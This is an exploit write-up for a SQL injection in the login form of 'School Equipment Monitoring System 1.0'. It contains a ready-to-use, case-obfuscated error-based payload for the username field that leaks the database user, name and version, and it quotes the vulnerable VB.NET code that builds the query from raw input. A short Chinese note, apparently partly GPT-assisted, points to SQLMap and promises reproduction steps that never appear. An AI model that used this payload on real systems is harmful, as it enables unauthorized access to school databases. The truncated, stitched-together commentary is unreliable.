#Exploit Title: School Equipment Monitoring System 1.0 - 'login' SQL Injection
User: '||(SEleCT 'Efe' FRoM DuaL WheRE 113=113 AnD (SEleCT 64 FRom(SELeCT CoUNT(*),ConCAT(ConCAT(0x203a20,UsER(),DAtABAsE(),VErSIoN()),(SelEcT (ELT(64=64,1))),FLooR(RAnD(0)*2))x FrOM INFOrMATIoN_SchEMA.pLUGINS GroUP By x)a))||'
Pass: Null
#[PATH]/include/user.vb / 28 / '" & username & "'
#....
#24 Public Sub login(ByVal username As Object, ByVal pass As Object)
#25 Try
#26
#27 con.Open()
#28 reloadtxt("SELECT * FROM tbluseraccounts
WHERE Username= '" & username & "' and Pass = sha1('" & pass & "')")
#29
#30
#31 If dt.Rows.Count > 0 Then
#32
#33 If dt.Rows(0).Item("Role") = "Administrator" Then
#34 MsgBox("Welcome " & dt.Rows(0).Item("Role"))
#35 Form1.Text = "User :" & dt.Rows(0).Item("Fullname")
#36 Form1.LogoutToolStripMenuItem.Text = "Logout"
#37 visibleMenu("true", "admin")
#38 LoginForm1.Close()
#39 Else
#40 visibleMenu("true", "not admin")
#41 Form1.LogoutToolStripMenuItem.Text = "Logout"
#42 LoginForm1.Close()
#43 End If
#44
#45 Else
#46 MsgBox("Acount doest not exits!", MsgBoxStyle.Information)
#47 End If
#48 Catch ex As Exception
#49 MsgBox(ex.Message)
#50 End Try
#51 con.Close()
#52 da.Dispose()
#53 End Sub
#....
参考GPT和自己的思路:
对于这个漏洞的复现过程,首先需要下载并安装相应版本的 School Equipment Monitoring System,然后使用 SQLMap 或手工构造 SQL 注入 payload 进行漏洞验证。您可以参考以下步骤:
需要注意的是,为了避免对系统造成不必要的影响,请在事先充分测试和备份目标系统之后再进行漏洞利用。同时,漏洞利用行为可能会违反法律规定,因此请确保遵守当地法律法规。